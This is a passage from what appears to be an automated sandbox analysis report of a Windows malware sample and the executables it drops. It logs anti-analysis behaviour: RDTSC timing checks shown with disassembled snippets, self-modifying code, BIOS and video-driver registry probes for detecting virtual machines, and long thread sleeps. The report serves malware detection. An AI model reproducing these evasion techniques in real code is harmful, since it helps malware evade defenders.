Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECCFF2 second address: ECD000 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6CDCB9DDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECD000 second address: ECD02B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 js 00007F6CDCCD27BCh 0x0000000e push 00000000h 0x00000010 mov dword ptr [ebp+122D1BC3h], edi 0x00000016 push EB1B42B9h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jp 00007F6CDCCD27B6h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECD02B second address: ECD035 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6CDCB9DDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECD035 second address: ECD0D9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6CDCCD27BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 14E4BDC7h 0x00000011 pushad 0x00000012 mov ecx, esi 0x00000014 push ebx 0x00000015 mov esi, dword ptr [ebp+122D2AE4h] 0x0000001b pop edi 0x0000001c popad 0x0000001d push 00000003h 0x0000001f mov ecx, esi 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007F6CDCCD27B8h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 00000018h 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d jmp 00007F6CDCCD27BFh 0x00000042 push 00000003h 0x00000044 mov edi, dword ptr [ebp+122D2B64h] 0x0000004a jmp 00007F6CDCCD27C0h 0x0000004f call 00007F6CDCCD27B9h 0x00000054 jl 00007F6CDCCD27D6h 0x0000005a pushad 0x0000005b jno 00007F6CDCCD27B6h 0x00000061 jmp 00007F6CDCCD27C8h 0x00000066 popad 0x00000067 push eax 0x00000068 push esi 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECD0D9 second address: ECD0DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: ECD0DF second address: ECD16B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a js 00007F6CDCCD27BAh 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [eax] 0x00000016 jmp 00007F6CDCCD27C0h 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f jmp 00007F6CDCCD27C7h 0x00000024 pop eax 0x00000025 mov edx, dword ptr [ebp+122D2DC0h] 0x0000002b lea ebx, dword ptr [ebp+12451B20h] 0x00000031 call 00007F6CDCCD27C7h 0x00000036 push edx 0x00000037 pop ecx 0x00000038 pop ecx 0x00000039 mov dword ptr [ebp+122D1C52h], ecx 0x0000003f xchg eax, ebx 0x00000040 push edi 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 pushad 0x00000045 popad 0x00000046 popad 0x00000047 pop edi 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F6CDCCD27C2h 0x00000050 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EECB0B second address: EECB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EECD72 second address: EECD9E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6CDCCD27B6h 0x00000008 jmp 00007F6CDCCD27C0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F6CDCCD27C2h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EED04E second address: EED064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCB9DDFCh 0x00000009 jnc 00007F6CDCB9DDF6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EED064 second address: EED078 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6CDCCD27B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F6CDCCD27B6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EED078 second address: EED0AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a jmp 00007F6CDCB9DDFEh 0x0000000f jmp 00007F6CDCB9DE09h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EED31D second address: EED321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EED4C6 second address: EED4CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EEDABD second address: EEDAC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EEDC2F second address: EEDC3D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F6CDCB9DE02h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EEDC3D second address: EEDC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6CDCCD27B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F6CDCCD27B6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EEDDE1 second address: EEDDE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EEE7A1 second address: EEE7B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F6CDCCD27B6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF137A second address: EF1385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF1385 second address: EF1389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF1389 second address: EF1393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF1393 second address: EF1397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF185C second address: EF1861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF1861 second address: EF1877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jnp 00007F6CDCCD27B6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF02B6 second address: EF02BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF02BC second address: EF02D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6CDCCD27C9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF0A7A second address: EF0A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF38D5 second address: EF38DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF38DB second address: EF38EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F6CDCB9DDF6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF9F59 second address: EF9F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F6CDCCD27BCh 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pushad 0x00000012 jnl 00007F6CDCCD27C2h 0x00000018 jmp 00007F6CDCCD27BCh 0x0000001d jo 00007F6CDCCD27B8h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EF9F90 second address: EF9F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EFC23A second address: EFC23E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EFC23E second address: EFC244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EFC6B4 second address: EFC6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EFCD44 second address: EFCD48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EFCE30 second address: EFCE36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EFCE36 second address: EFCE40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F6CDCB9DDF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EFD006 second address: EFD010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F6CDCCD27B6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EFD010 second address: EFD014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EFD23E second address: EFD244 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	RDTSC instruction interceptor: First address: EFD244 second address: EFD249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6DEE45 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6DEEFB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8883E9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 91566A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Special instruction interceptor: First address: D4ECB4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Special instruction interceptor: First address: D4EBE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Special instruction interceptor: First address: EF1904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Special instruction interceptor: First address: D4C1C2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Special instruction interceptor: First address: EFADB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Special instruction interceptor: First address: F7975D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	Special instruction interceptor: First address: EF010E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 92ECB4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 92EBE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AD1904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 92C1C2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ADADB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B5975D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AD010E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Special instruction interceptor: First address: E01D3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Special instruction interceptor: First address: E01E17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Special instruction interceptor: First address: FAD5CA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Special instruction interceptor: First address: DFF005 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Special instruction interceptor: First address: 103E7D1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Special instruction interceptor: First address: 27E1A7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Special instruction interceptor: First address: 424374 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Special instruction interceptor: First address: 44C643 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Special instruction interceptor: First address: 42FB29 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Special instruction interceptor: First address: 4BFE86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Special instruction interceptor: First address: B6EE45 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Special instruction interceptor: First address: B6EEFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Special instruction interceptor: First address: D183E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Special instruction interceptor: First address: DA566A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Special instruction interceptor: First address: 1171D3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Special instruction interceptor: First address: 1171E17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Special instruction interceptor: First address: 131D5CA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Special instruction interceptor: First address: 116F005 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Special instruction interceptor: First address: 13AE7D1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Special instruction interceptor: First address: 1DECB4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Special instruction interceptor: First address: 1DEBE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Special instruction interceptor: First address: 381904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Special instruction interceptor: First address: 1DC1C2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Special instruction interceptor: First address: 38ADB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Special instruction interceptor: First address: 40975D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Special instruction interceptor: First address: 38010E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Memory allocated: 4BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Memory allocated: 4D30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Memory allocated: 6D30000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe

Code function: 10_2_050707DB rdtsc

10_2_050707DB

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1247	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1473	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1257	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1482	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1018	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1542	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1115	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 998	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 951	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Window / User API: threadDelayed 369

Source: C:\Users\user\Desktop\file.exe TID: 5924	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5924	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5372	Thread sleep count: 1247 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5372	Thread sleep time: -2495247s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1448	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5904	Thread sleep count: 1473 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5904	Thread sleep time: -2947473s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6136	Thread sleep count: 1257 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6136	Thread sleep time: -2515257s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6124	Thread sleep count: 1482 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6124	Thread sleep time: -2965482s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6124	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1652	Thread sleep count: 1018 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1652	Thread sleep time: -2037018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1660	Thread sleep count: 1542 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1660	Thread sleep time: -3085542s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1432	Thread sleep count: 298 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1432	Thread sleep time: -8940000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7192	Thread sleep count: 1115 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7192	Thread sleep time: -2231115s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5368	Thread sleep count: 998 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5368	Thread sleep time: -1996998s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1056	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6256	Thread sleep count: 951 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6256	Thread sleep time: -1902951s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe TID: 2260	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe TID: 5948	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe TID: 4240	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe TID: 2184	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe TID: 2140	Thread sleep time: -30000s >= -30000s
